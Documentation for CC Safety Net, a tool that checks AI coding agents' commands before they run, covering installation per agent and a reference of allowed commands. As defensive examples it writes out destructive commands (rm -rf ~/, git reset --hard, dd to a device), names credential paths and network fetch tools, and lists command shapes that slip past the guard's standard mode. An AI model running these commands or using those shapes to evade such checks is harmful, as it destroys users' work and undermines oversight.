threads that execute on a remote machine, such as Amp Orbs. Install requires the `amp` CLI and a signed-in account. It first runs `amp plugins repositories --json` to find your writable Personal Plugins repository. If the CLI or login is missing, install stops and points you to `amp login`. It then clones `user-plugins` into a temporary checkout, writes `cc-safety-net/index.ts`, commits under the tool identity `cc-safety-net`, and pushes. Staging names that one file (`git add -- cc-safety-net/index.ts`) instead of the directory. If your repository gitignores that path, `git add` fails and the install stops, instead of staging nothing and reporting the plugin as already installed. Commit signing is off, so your global git config cannot stall the install. Run the command again to update the published artifact in place. Earlier releases published a single file `cc-safety-net.ts` at the root of that repository. Install migrates away from it. A managed legacy file goes in the same commit; an unmanaged one fails the install. Install also embeds a snapshot of your user policy file into the published artifact. At runtime, the snapshot applies only on a machine that has no policy file, such as an Orb's empty home directory. A policy file on the machine always wins, even when it is invalid. If your policy file is absent or cannot be parsed, install publishes the bare artifact without a snapshot. The snapshot does not carry audit retention, user rulebooks, or project-scope policy. A policy edit ships on the next `install --amp` or `update`. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --amp ``` Uninstall removes `cc-safety-net/index.ts` from the personal repository with the same commit-and-push flow, together with a managed legacy `cc-safety-net.ts` at the root. Uninstall removes only that entry file, so anything else you keep in the `cc-safety-net` directory stays. It leaves anything else at the legacy root path untouched: an unmanaged file, a symlink, or a directory. It reports the `cc-safety-net` directory as the removed path, or the legacy root file when that was all it found. Restart Amp or run `plugins: reload` after installing, updating, or uninstalling so the change takes effect. Install and uninstall both refuse to touch a plugin in the personal repository that is not theirs to replace. They refuse a `cc-safety-net` entry that is a symlink or is not a directory. They refuse an `index.ts` inside it that is a symlink, is not a regular file, or does not carry the CC Safety Net managed header. Remove the entry there and rerun the command. Earlier releases copied the plugin to a local file at `~/.config/amp/plugins/cc-safety-net.ts`. The plugin directory can also be copied to `~/.config/amp/plugins/cc-safety-net/` by hand. Either one masks the personal plugin, so install removes it after publishing: the legacy file when it is a managed copy, and the local directory when it holds nothing but a managed `index.ts`. Any other local entry at those two paths fails the install: ```text theme={"dark"} Local Amp plugin is not a managed copy and masks the personal plugin. Remove it and rerun install --amp. ``` Uninstall also removes managed local copies but leaves an unmanaged local entry in place. ## Antigravity CLI installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --agy-cli ``` This writes a managed `PreToolUse` entry to `~/.gemini/config/hooks.json` that runs `npx -y cc-safety-net hook --agy-cli` on each `run_command` tool call. Because the hook runs through `npx`, install first deletes any cached `cc-safety-net` copies from the npm cache's `_npx` directory (`$npm_config_cache` if set, otherwise `~/.npm` on macOS and Linux, `%LOCALAPPDATA%\npm-cache` on Windows) so the hook resolves the current release. Uninstall does not touch the cache. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --agy-cli ``` Optionally install the `/cc-safety-net` skill so you can author rules interactively inside Antigravity CLI: ```bash theme={"dark"} npx skill add kenryu42/cc-safety-net ``` ## Claude Code installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --claude-code ``` This adds the `cc-marketplace` marketplace from `kenryu42/cc-marketplace` and installs the `cc-safety-net@cc-marketplace` plugin, enabling it if a disabled copy is already present. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --claude-code ``` **Enable auto-updates** To keep CC Safety Net up to date automatically, run `/plugin` inside Claude Code, navigate to **Marketplaces**, select **cc-marketplace**, and enable **auto-update**. The plugin invokes the Coding CLI hook, `cc-safety-net hook --coding-cli` (short flag `-cc`). That is the canonical flag name. `hook --claude-code` is accepted only as a legacy alias. Do not use it in new configuration. ## Codex installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --codex ``` This adds the `cc-marketplace` marketplace from `kenryu42/cc-marketplace` and installs the `cc-safety-net@cc-marketplace` plugin. Codex support has one known enforcement bound: input typed into an already-running interactive session is never inspected or audited. See the [Codex coverage boundary](/docs/guides/known-limitations#codex-coverage-boundary). **Trust the hook** Codex will not run an untrusted hook. Start Codex, open `/hooks`, select the **cc-safety-net PreToolUse hook**, and press `t` to trust it. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --codex ``` The plugin is packaged in Codex's own format. Its hook runs `cc-safety-net hook --codex` (short flag `-cx`), and the same plugin carries the `cc-safety-net` skill. ## Cursor installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --cursor ``` This writes a managed `preToolUse` entry to your global Cursor hooks config, `~/.cursor/hooks.json`: ```json theme={"dark"} { "command": "npx -y cc-safety-net hook --cursor", "timeout": 30, "failClosed": true } ``` Because the config is global, this protects Cursor IDE and Cursor CLI sessions across all your projects. `failClosed` means Cursor denies the tool call if the hook cannot produce a decision. Because the hook runs through `npx`, install first clears cached `cc-safety-net` copies from the npm `_npx` cache so the hook resolves the current release; uninstall does not touch the cache. The cache locations are listed in the [Antigravity CLI section](#antigravity-cli-installation). ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --cursor ``` ## Gemini CLI installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --gemini-cli ``` This installs the Gemini Safety Net extension from `https://github.com/kenryu42/gemini-safety-net`, or re-enables it if a disabled copy is already present. Gemini CLI is not a `cc-marketplace` plugin. Its extension lives in its own repository under the extension id `gemini-safety-net`. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --gemini-cli ``` Restart Gemini CLI (or start a new session) after installing so the extension and its hook are loaded. ## GitHub Copilot CLI installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --copilot-cli ``` This adds the `cc-marketplace` marketplace if it is not already registered, installs the `cc-safety-net@cc-marketplace` plugin, and flips the plugin to `true` in `enabledPlugins` in `~/.copilot/settings.json` if it was explicitly disabled. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --copilot-cli ``` Restart Copilot CLI after installing or removing the plugin for the change to take effect. Hook support in Copilot CLI depends on its version. Doctor checks repository hook files under `.github/hooks`; inline hook definitions in `.github/copilot/settings.local.json`, `.github/copilot/settings.json`, `.claude/settings.local.json`, `.claude/settings.json`, `~/.copilot/settings.json`, and `~/.copilot/config.json`; and user hook files under `~/.copilot/hooks`. Inline hook definitions require Copilot CLI **1.0.8** or later, and user hook files require **0.0.422** or later. The plugin handles this for you. If you configure hooks manually and find a problem, run `npx cc-safety-net doctor`. It reports the detected Copilot version and the supported hook sources. ## Grok Build installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --grok-build ``` This writes a managed `PreToolUse` entry to `~/.grok/hooks/cc-safety-net.json`, or to `$GROK_HOME/hooks/cc-safety-net.json` when `GROK_HOME` is set: ```json theme={"dark"} { "hooks": [{ "type": "command", "command": "npx -y cc-safety-net hook --grok-build", "timeout": 30 }] } ``` The entry carries no matcher, so every tool call reaches the adapter instead of only `run_terminal_command`. The adapter also inspects the inputs of file and patch tools for protected paths. Because the hook runs through `npx`, install first clears cached `cc-safety-net` copies from the npm `_npx` cache so the hook resolves the current release; uninstall does not touch the cache. The cache locations are listed in the [Antigravity CLI section](#antigravity-cli-installation). ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --grok-build ``` Both commands only ever touch the managed handler. Install strips managed handlers out of the existing entries and appends the canonical entry standalone, so foreign entries, foreign handlers that shared an entry with it, and other hook events all survive. Uninstall removes the managed handler, drops an entry once it has no handlers left, and deletes the file only when nothing else remains in it. Uninstall leaves an unparsable file alone; install repairs one to the canonical entry, because Grok Build skips an unparsable hook file entirely, so such a file cannot carry working hooks anyway. Grok Build hooks are fail-open and the host exposes no `failClosed` knob. Only an explicit deny blocks a tool call. A hook that crashes, times out, or emits malformed output lets the call proceed. ## Hermes Agent installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --hermes-agent ``` This writes the managed Python plugin files `__init__.py` and `plugin.yaml` to `$HERMES_HOME/plugins/cc-safety-net/` (`~/.hermes/plugins/cc-safety-net/` when `HERMES_HOME` is unset). It then runs `hermes plugins enable cc-safety-net --no-allow-tool-override`. The files alone are inert. Hermes loads a user plugin only when its own config lists it as enabled, so install runs the enable command even when the files are already current. Because the plugin shells out through `npx`, install first clears cached `cc-safety-net` copies from the npm `_npx` cache so the plugin resolves the current release; uninstall does not touch the cache. The cache locations are listed in the [Antigravity CLI section](#antigravity-cli-installation). Restart Hermes after installing, updating, or uninstalling so the change takes effect. On each `pre_tool_call`, the plugin sends the tool call to `npx -y cc-safety-net hook --hermes-agent` (short flag `-ha`) over JSON stdin, with a 30-second timeout. It protects the `terminal`, `read_file`, `write_file`, and `patch` tools; other Hermes tools are not forwarded. The plugin fails closed: when `npx` is missing, the analysis cannot start, times out, exits non-zero, or returns unreadable output, the tool call is blocked with an explicit message instead of slipping through. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --hermes-agent ``` Uninstall runs `hermes plugins disable cc-safety-net` *before* it removes the plugin files. Hermes resolves only plugins that are still on disk. An enabled config entry would automatically load any future plugin with the same name. If the `hermes` CLI fails or is missing, uninstall still removes the files and warns that the Hermes config may still list `cc-safety-net`. Uninstall also removes the Python `__pycache__` bytecode directory and reclaims the plugin directory only when nothing else remains. Install and uninstall both refuse to touch the plugin directory if it is a symlink or not a regular directory, and refuse to overwrite or remove any managed file that is a symlink, not a regular file, or does not carry the CC Safety Net managed header. Move or remove it yourself and rerun the command. This integration is macOS and Linux only. ## Kimi Code installation Kimi Code supports two install methods: a global hook written to your Kimi Code config, or a native Kimi Code plugin you install from inside Kimi Code. In an interactive terminal, `install --kimi-code` (or picking Kimi Code in the interactive installer) opens a single-select prompt asking which method to use: install the global hook now, or print the native-plugin steps. In a non-interactive session the flag installs the global hook directly, so scripts and CI pipelines never hang on a prompt. `update` is unchanged. Kimi Code hooks are fail-open with either method: when the hook process cannot start, crashes, or times out, Kimi Code allows the tool call. **Global hook** ```bash theme={"dark"} npx -y cc-safety-net@latest install --kimi-code ``` This writes a `[[hooks]]` block to `~/.kimi-code/config.toml` (or `$KIMI_CODE_HOME/config.toml`) that runs `npx -y cc-safety-net hook --kimi-code` on each `PreToolUse` call. The adapter treats `Bash` as a shell-command tool and inspects other tool inputs for protected paths. Because the hook runs through `npx`, install first clears cached `cc-safety-net` copies from the npm `_npx` cache so the hook resolves the current release; uninstall does not touch the cache. The cache locations are listed in the [Antigravity CLI section](#antigravity-cli-installation). ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --kimi-code ``` **Native plugin** To use the native plugin instead, run this inside Kimi Code: ```text theme={"dark"} /plugins install https://github.com/kenryu42/cc-safety-net ``` Confirm the trust prompt, which defaults to cancel. Then run `/reload` or start a new session. The plugin declares one `PreToolUse` hook with no tool matcher. It runs `node ./dist/bin/cc-safety-net.js hook --kimi-code` for every tool call with a 30-second timeout and uses the same adapter as the global hook. When the global hook is already configured, the Kimi Code row in the interactive installer stays selectable and is labeled `(global hook installed)`, and the printed plugin steps add a caution: run `cc-safety-net uninstall --kimi-code` only *after* the plugin is active. A brief overlap where both hooks run just duplicates the denial message, while a gap with neither active leaves you unprotected. Optionally install the `/cc-safety-net` skill so you can author rules interactively inside Kimi Code: ```bash theme={"dark"} npx skill add kenryu42/cc-safety-net ``` ## OpenClaw installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --openclaw ``` This installs the plugin through OpenClaw's own CLI: it runs `openclaw plugins install --force` followed by `openclaw plugins enable cc-safety-net`, where the packaged plugin directory ships inside the npm package. It then verifies the plugin actually loaded by running `openclaw plugins inspect cc-safety-net --runtime --json`: an enabled plugin whose runtime is broken installs cleanly and then silently protects nothing, so anything other than a `loaded` status fails the install and points you at `openclaw plugins inspect cc-safety-net --runtime` for details. Because `--force` overwrites the entry with the `cc-safety-net` extension id and uninstall deletes that entry, both commands first inspect the extension directory. They continue only if the directory contains only a managed CC Safety Net plugin or is empty. Otherwise, they refuse to run. Move or remove the directory and run the command again. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --openclaw ``` Restart the OpenClaw Gateway after installing, updating, or uninstalling so the change takes effect. If `plugins.allow` is set in `openclaw.json`, it must also list `cc-safety-net`. An allowlist that omits it prevents the plugin from loading even when it is enabled. OpenClaw loads CC Safety Net as an in-process plugin rather than a hook subprocess, so there is no runtime hook flag. The plugin registers a `before_tool_call` handler for the untagged `exec` tool only. OpenClaw's file tools and tagged `exec` variants are not covered. Each supported `exec` call is analyzed against the agent's workspace directory, and the plugin fails closed when that workspace cannot be resolved, when `workdir` resolves outside it, or when the call names an execution host other than `auto` or `gateway` (for example `sandbox` or `node`). OpenClaw's state directory is `OPENCLAW_STATE_DIR` when set, otherwise the directory holding `OPENCLAW_CONFIG_PATH`, otherwise `~/.openclaw`; the config file is `OPENCLAW_CONFIG_PATH` when set, otherwise `openclaw.json` in the state directory. A leading `~` path in either environment variable expands against the user's home directory. Install and doctor resolve paths in that same order, so a relocated OpenClaw install is handled instead of reported as absent. This integration is macOS and Linux only. ## OpenCode installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --opencode ``` OpenCode uses `$XDG_CACHE_HOME/opencode` as its cache directory when `XDG_CACHE_HOME` is set and non-empty, otherwise `~/.cache/opencode`. It can keep serving a stale cached plugin version, so the install command clears `packages/cc-safety-net@latest` under that directory before running `opencode plugin -g -f cc-safety-net@latest`. Install then proves that the cached package exists, its declared `main` entry loads, and it exports a callable `CCSafetyNetPlugin`; a failed proof stops the install because OpenCode would otherwise continue without protection. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --opencode ``` OpenCode uses `$XDG_CONFIG_HOME/opencode` as its config directory when `XDG_CONFIG_HOME` is set and non-empty, otherwise `~/.config/opencode`. Uninstall removes `cc-safety-net` from the `plugin` array in `opencode.json` or `opencode.jsonc` there and clears the cached package again. Restart OpenCode after installing or updating so the plugin is loaded from the refreshed cache. ## Pi installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --pi ``` This runs `pi install npm:cc-safety-net` and, if your Pi settings pin an `extensions` filter that would leave CC Safety Net disabled, clears that filter in `~/.pi/agent/settings.json`. ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall --pi ``` Pi loads CC Safety Net as an in-process extension rather than a hook subprocess. The extension analyzes only Pi's built-in `bash` tool as a shell command. It also inspects other tool inputs for protected paths, but it does not support custom command tools named `Shell` (for example pi-grok-cli). It registers a `/cc-safety-net` builtin command for managing rulebooks. See [Integration architecture](/docs/guides/integration-architecture) for details. ## Migrating from a legacy plugin identifier The current plugin identifier is `cc-safety-net@cc-marketplace` everywhere it applies. Two identifiers from earlier releases still show up on existing machines: | Legacy identifier | Agent | What happens | | --------------------------- | ------------------ | ----------------------------------------------------------------------------------------- | | `safety-net@cc-marketplace` | Claude Code, Codex | Detected during install and uninstalled automatically once the current plugin is in place | | `copilot-safety-net` | GitHub Copilot CLI | Detected during install and uninstalled automatically | You do not need to remove these by hand. Run the normal install command for the agent, and it will migrate the identifier. Do not use the legacy identifiers in new configuration. ## Verify your installation After installing, run the doctor command to confirm CC Safety Net is wired up correctly and blocking commands as expected: ```bash theme={"dark"} npx cc-safety-net doctor ``` `doctor` runs a full health check across every supported agent. It checks hook integration, runs a self-test that confirms blocking works, validates custom rules, and checks active mode flags, recent activity, system versions, and updates. See the [doctor command reference](/docs/reference/cli-commands#doctor) for details and available flags. If any check fails, the output includes a description of the problem and suggested fixes. # What CC Safety Net does Source: https://ccsafetynet.com/docs/introduction CC Safety Net is a pre-execution guard that inspects what your coding agent is about to run and blocks the operations that destroy uncommitted work or expose your secrets. No major coding CLI deterministically blocks destructive git commands inside the workspace you handed it. `git reset --hard`, `git checkout -- .`, `git clean -f`, `git stash clear`, and `git push --force` all act on files the agent is already allowed to write, so a sandbox that scopes writes to the project directory sees nothing wrong. OpenAI's [Codex security docs](https://learn.chatgpt.com/docs/security) say commands under workspace-write "can still mutate state and perform destructive operations". An [independent analysis of Codex permissions](https://codex.danielvaughan.com) (2026-04-20) puts it directly: "No command-level semantic blocking: the system cannot prevent git reset --hard". Claude Code's [sandboxing docs](https://code.claude.com/docs/en/sandboxing) scope writes to the working directory, which is where your uncommitted work lives. Three more reasons the layer is worth running: * **A deterministic check under probabilistic ones.** Anthropic publishes a 17% false-negative rate for the Claude Code [auto-mode](https://www.anthropic.com/engineering/claude-code-auto-mode) classifier on real overeager actions and calls it "not a drop-in replacement for careful human review". Deny rules and hooks are the deterministic layer instead of a judgment call. Verified against Claude Code 2.1.251, a PreToolUse deny still fires in default, auto, and bypassPermissions modes (`tests/e2e-live/protection.test.ts` in the project repository). That is a per-version result, not a standing guarantee, so the suite runs again on every release and host upgrade. * **Secret protection with nothing to configure.** Claude Code's [sandboxing docs](https://code.claude.com/docs/en/sandboxing) state that the default read behavior "still allows reading credential files such as \~/.aws/credentials and \~/.ssh/", and that "There is no built-in credential deny list". The native equivalents in other CLIs are opt-in config you write per CLI. CC Safety Net blocks content access to those paths and to project `.env` files on install, across shell commands and the read, edit, write, and search tools. * **One policy and one audit trail across 13 CLIs.** Five vendors ship five incompatible permission mechanisms and no decision log you can read afterwards. Layers below this one have failed in the field. The [protection-layers comparison](/docs/guides/vs-sandboxing) covers the sandbox and allowlist CVEs, and Adversa's [incident tracker](https://adversa.ai/blog/ai-coding-agent-incidents) records nine agent destruction cases from 2025 and 2026, with guardrails enabled in about half of them. The founding case still stands. It is just no longer the frontier. An agent [wiped hours of work](https://www.reddit.com/r/ClaudeAI/comments/1pgxckk/claude_cli_deleted_my_entire_home_directory_wiped/) with one `rm -rf ~/`, and instructions did not stop it. Claude Code now ships a deterministic circuit breaker for critical paths like that one, which is the right fix and the reason it is no longer the headline here. The git commands above have no such breaker. Rules in `CLAUDE.md` or `AGENTS.md` can guide an agent, but they cannot enforce a technical limit. CC Safety Net enforces that limit as a check before execution. ## What it intercepts CC Safety Net installs into your coding agent. It runs before the agent's tool call reaches your machine. It inspects shell commands and file write, edit, search, and patch operations. It then allows the operation or blocks it with a direct reason. A block arrives as a normal tool result, so the agent can [continue the task without the blocked operation](/docs/guides/design-principles#denials-that-keep-the-agent-on-task). CC Safety Net bases its decision on intent, not spelling. It allows `git checkout -b feature` because the command creates a branch. It blocks `git checkout -- file` because the command discards uncommitted changes. Both commands start with the same two words. For tool operations that an integration forwards, the same inspection protects supported credential-bearing files, including SSH keys, `.env` files, cloud credential stores, and coding CLI tokens. CC Safety Net blocks matching forwarded reads and writes before the agent accesses the file. Tool coverage differs by integration; see the [integration coverage boundaries](/docs/guides/known-limitations#hermes-agent-and-openclaw-coverage-boundaries) and the [Secret protection reference](/docs/reference/secret-protection). Each agent uses a different integration. Some run CC Safety Net as a short-lived subprocess. Others load it in the agent process. The installer configures the correct integration for your agent. See [How it works](/docs/guides/how-it-works) for the full lifecycle of one tool call. ## What it does not replace Use CC Safety Net with your agent's permission rules and native sandboxing. It does not replace them. Deny rules give you quick, user-configurable blocks. Sandboxing gives operating-system-level filesystem and network containment. CC Safety Net covers known-destructive Git and filesystem operations that a sandbox can permit inside your project. Use these layers together. See the [protection-layers comparison](/docs/guides/vs-sandboxing). CC Safety Net does not give complete protection. It is a static pre-execution policy gate. It cannot see inside arbitrary binaries, and it cannot protect commands that bypass an installed integration. Read [Known limitations](/docs/guides/known-limitations) before you rely on it. ## Get started Pick your agent on the [Installation](/docs/installation) page, then confirm protection is live with the [Quickstart](/docs/quickstart). # Get started with CC Safety Net Source: https://ccsafetynet.com/docs/quickstart Install CC Safety Net, check its status, run doctor, and watch it block a real command. The same first-run path works for every supported coding agent. Use this guide to install CC Safety Net and test a real block. The steps are the same for each supported agent. Each agent uses a plugin marketplace, extension, configuration file, or package install. Follow the section for your agent on the **[Installation](/docs/installation)** page. Then return here. Get a one-screen summary of which protections are active: ```bash theme={"dark"} npx cc-safety-net status ``` The verdict line reads `ready` when your configuration loaded cleanly. `degraded` means CC Safety Net could not apply part of your configuration and is using a fallback. See [Configuration recovery](/docs/configuration/recovery) for the protections that remain active and how to repair the configuration. Those are the only two verdicts. If you use Claude Code and the plugin is disabled, it appears as the first item under `Not active` and does not change the verdict. `status` is purely informational and always exits `0`. For everything it prints, see the [status command reference](/docs/reference/cli-commands#status). Where `status` summarizes your configuration, `doctor` verifies the wiring end to end: ```bash theme={"dark"} npx cc-safety-net doctor ``` It checks every supported agent at once, so you do not have to tell it which one you use. It also runs a self-test that confirms blocking works. A clean run prints a green checkmark next to each item; anything that fails explains what went wrong and how to fix it. The full check list is in the [doctor command reference](/docs/reference/cli-commands#doctor). With CC Safety Net active, ask your agent to run this harmless probe: ```bash theme={"dark"} # This exclusion-only pathspec selects no files git checkout -- ':(exclude,top)**' ``` The command never reaches your shell. Your agent gets a block message instead. If protection is inactive, the exclusion-only Git pathspec selects no files, so no tracked file is changed. The message explains the block and gives the agent a safer next action. For the message structure and the rest of the decision lifecycle, see [How it works](/docs/guides/how-it-works#what-a-block-looks-like). If a decision surprises you, `explain` evaluates a command string through the same engine without executing it: ```bash theme={"dark"} npx cc-safety-net explain "git checkout -- ':(exclude,top)**'" ``` It prints the verdict, the rule that matched, and the effective configuration. Use a non-sensitive example command while you explore. An explain trace echoes the command you passed, its parsed tokens, and absolute paths including your home directory. CC Safety Net redacts credential-shaped values, but it does not redact paths, hostnames, or project names. Review the output before you paste it into an issue or a chat. See the [explain trace reference](/docs/reference/explain-trace) for the full trace and its sharing caveats. ## Next steps Follow one tool call through interception, ordered checks, the allow or block, and the audit record. Browse what CC Safety Net stops by default and the reasoning behind each entry. Compare the `standard`, `strict`, and `paranoid` safety levels and worktree mode, and pick the one that fits your workflow. Define your own blocking rules at the project or user level to enforce project conventions. # Allowed commands and why they pass Source: https://ccsafetynet.com/docs/reference/allowed-commands Git, filesystem, device, PowerShell, and sensitive-path commands CC Safety Net allows through, and which of those allowances strict and paranoid remove. CC Safety Net uses semantic command analysis to distinguish permitted forms from destructive ones. The analyzer permits the command forms on this page. Some allowances are level-dependent. Rows marked **Standard only** are removed once [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) or [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1) is active. This page is the allowed-command reference. See [Blocked commands](/docs/reference/blocked-commands) for blocked forms, [Architecture](/docs/guides/architecture) for the ordered guard flow, and [Analysis engine](/docs/guides/analysis-engine) for classifier behavior. Catastrophic protections apply at every safety level. Root and home recursive deletion, protected Git metadata, and the canonical `policy.json` always block. The forms on this page, `allow_paths`, worktree mode, and per-rule `off` overrides do not relax them. ## Git commands | Command pattern | Why it's safe | | -------------------------------------------- | ------------------------------------------------------------------------------------------------ | | `git checkout -b ` | Creates and switches to a new branch | | `git checkout --orphan` | Creates an orphan branch | | `git restore --staged` | Only unstages files, doesn't discard changes | | `git restore --help` / `--version` | Help/version output only | | `git branch -d` | Safe delete with merge check | | `git clean -n` / `--dry-run` | Preview only, no files deleted | | `git rm ` | Not forced, so git's own safety check limits the removal to content recoverable from `HEAD` | | `git rm --cached`, `git rm --dry-run` / `-n` | Unstages or previews only. The working-tree files stay. `git rm -r --cached .` is a safe unstage | | `git push --force-with-lease` | Checks the expected remote state before it rewrites history | ## Filesystem commands | Command pattern | Why it's safe | Level | | ---------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | `rm -rf /tmp/...` | Temp directories are ephemeral | All | | `rm -rf /var/tmp/...` | System temp directory | All | | `rm -rf $TMPDIR/...` | User's temp directory (unless `$TMPDIR` is overridden to a non-temp path) | All | | `rm -rf ./subdir` (within cwd) | Limited to a path inside the current working directory | All except [paranoid rm](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1) | | `rm -rf "$target"` (dynamic target) | Standard does not categorically block targets it cannot verify | **Standard only** | | `cleanup() { rm -rf ../outside; }` (definition only) | A function definition alone executes nothing. The body is analyzed only where the function is called | All | `rm -rf` is classified by target, first match wins. Root/home targets (`/`, `~`, `$HOME`), protected Git metadata, the cwd itself (`rm -rf .`), and the case where your cwd *is* your home are blocked in every level. Other literal paths outside the cwd are also blocked unless they are recognized temp targets or configured allow paths. Temp paths and paths inside the cwd are allowed. Note the distinction: `rm -rf ./subdir` is allowed, but `rm -rf .` (the cwd itself) is blocked. Two level-dependent adjustments apply on top of that: * Dynamic targets (`rm -rf "$target"`, backticks, substitutions) are allowed in standard and blocked once the fail-closed capability is on. Standard is best-effort against adversarial or dynamically generated command text. * With `CC_SAFETY_NET_PARANOID_RM=1`, non-temp recursive forced removal is blocked *even inside the cwd*, so `rm -rf ./cache` no longer passes. Temp targets and configured allow paths still do. ### Configured allow paths Absolute or `~/`-prefixed directories listed under `destructive_command_protection.allow_paths` are treated like trusted temp roots. They apply in **every** safety level, to `rm`, PowerShell `Remove-Item`, and `find -delete`. Allow paths never widen anything else. They do not relax sensitive-path protection or deny paths. They cannot cover root, home, or protected Git metadata. An allow path containing a repository still blocks `rm -rf` of that repository's `.git`. Because dynamic targets are classified first, an allow path never applies to an unverifiable target. Entries equal to or containing `$HOME` are rejected during validation and after canonicalization. Symlink escapes out of an allow path are not covered. ## Heredoc data consumers An unexpanded heredoc on stdin whose consumer only stores or publishes the body is data, not a program, so the body is never scanned as command text. The consumer must be a literal `cat`, `tee`, `git apply`, `git commit`, `gh pr create`, or `gh issue create`; the heredoc must be the command's only input redirection; and `cat`/`tee` must not feed an output process substitution (`>(...)`). This allowance holds in **every** level, strict and paranoid included. | Command pattern | Why it's safe | | -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | | `cat > note.md <<'EOF'` | The body is written to a file, never executed | | `tee note.md <<'EOF'` | Same behavior. The body is stored, not run | | `git apply <<'PATCH'` | A patch body is applied as text, not executed | | `git commit -F - <<'EOF'` | The body becomes the commit message, even when it describes destructive commands in prose | | `gh pr create --body-file - <<'EOF'`, `gh issue create -F - <<'EOF'` | The body is published as PR or issue text | The heredoc must be unexpanded: either the delimiter is quoted (`<<'EOF'`), or the delimiter is unquoted and its body contains no `$`, backtick, or backslash, which leaves the shell nothing to expand or unescape. An unquoted body that does contain one of those three characters goes through shell expansion or escape processing, so standard scans it and fail-closed modes deny it. Commands outside the heredoc are still analyzed. For example, `cat <<'EOF' && rm -rf ~` blocks on the `rm`. For `cat`, `tee`, `git commit`, `gh pr create`, and `gh issue create`, a body whose delimiter is quoted is also masked before sensitive-path extraction. Prose that mentions a secret filename therefore does not block the commit. An unquoted body is not masked, even when it passes the gate, so a filename-looking token inside it is still extracted. `git apply` bodies stay visible because a patch names the files it writes. See [Heredoc analysis](/docs/guides/analysis-engine#heredoc-analysis) for the full gate and standard-mode behavior when a heredoc fails it. ## Standard-only allowances These shapes are permitted in standard and denied once [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) or [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1) is active. They are deliberate trade-offs, not oversights: standard is best-effort against adversarial or dynamic input. | Command pattern | Why standard allows it | | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `echo 'unterminated` | Unparseable but safe-looking text. The fallback heuristic scan found nothing destructive. `git reset --hard 'unterminated` is still blocked in standard by that same scan | | `rm -rf "$target"` | Recursive-delete target that cannot be verified before execution | | `Remove-Item $target -Recurse -Force` | PowerShell equivalent of the same unverifiable target | | `Get-ChildItem . -Recurse \| Remove-Item -Force` | Unverifiable PowerShell pipeline input | | `$(printf r)m -rf /`, `c=rm; "$c" -rf dir`, `$CMD --version` | Dynamic executable. The command head comes from a substitution or a variable | | `git reset $(printf --hard)`, `rm $(printf -- '-rf') dir` | Dynamic structure. The arguments are assembled through substitution | | `test -f ~/.ssh/id_rsa`, `find ~/.ssh -type f`, `ls -la ~/.ssh`, `stat .env` | Metadata-only discovery of a built-in sensitive path, with no content access | | `W='rm -rf ~'; echo "$W"` | Dangerous text inside a cleanly parsed quoted-literal assignment. The block defers to use time when the variable is only ever used as quoted argument data | | `f() { rm -rf "$1"; }; f ~` | Positional parameters stay unbound inside a called function body, so the target is dynamic. This is the same trade-off as `rm -rf "$target"` | | `eval "$(ssh-agent -s)"`, `source <(kubectl completion bash)` | A single fully literal local generator command. Its *shape* is verifiable, though its output is not | The quoted-assignment deferral is narrow. The assignment itself executes nothing, and a quoted expansion stays one argv word, so it cannot split into a command plus flags. Any reference the analyzer cannot prove is such a data use keeps the assignment-time block: an unquoted expansion (`env $W`), any expansion in command position (even quoted), a reference inside a command substitution, or a reference in an unquoted heredoc body. Handing the value to a shell is caught downstream instead: `eval "$W"`, `bash -c "$W"`, and `echo "$W" | sh` all deny because the shell execution source cannot be verified. The generator allowance checks the command's shape, not its author. There is no list of trusted generators. `eval "$(CMD)"` and `source <(CMD)` / `. <(CMD)` are admitted only when `CMD` is: * one simple command, with no redirection and no nested command; * made of literal words only, with no leading environment assignment; and * headed by a basename that is not a remote fetcher (`curl`, `wget`, `fetch`, `aria2c`, `http`, `https`, `xh`, `xhs`, `nc`, `ncat`, `netcat`), not a shell, and not a standard command wrapper such as `sudo` or `env`. `CMD` itself is still analyzed, so `eval "$(rm -rf /)"` blocks. What is *not* checked is the shell `CMD` prints: standard extends trust to the output of every literal local command, including `eval "$(cat somefile)"`. See [eval and source of a generated command](/docs/reference/blocked-commands#eval-and-source-of-a-generated-command) for the shapes that stay blocked. Resource-exhaustion limits are not part of this trade-off. A command that exceeds the parser's recursion or structural-validation bounds is denied in **every** level, standard included. ## Device commands `dd`, `mkfs`, and `shred` are analyzed in every level, but only the genuinely destructive shapes are blocked. | Command pattern | Why it's safe | | -------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | | `dd if=/dev/sda of=./backup.img` | Reading *from* a device into a file. Only `of=/dev/...`, a direct write to a device, is blocked | | `dd if=x.iso of=./out.img`, `dd if=/dev/urandom of=random.dat` | The output target is an ordinary file | | `mkfs.ext4 disk.img`, `mkfs.ext4 ./loop.img` | Formatting a file-backed image, not a `/dev/` device | | `shred` with no operand | The `shred` rule requires at least one target. 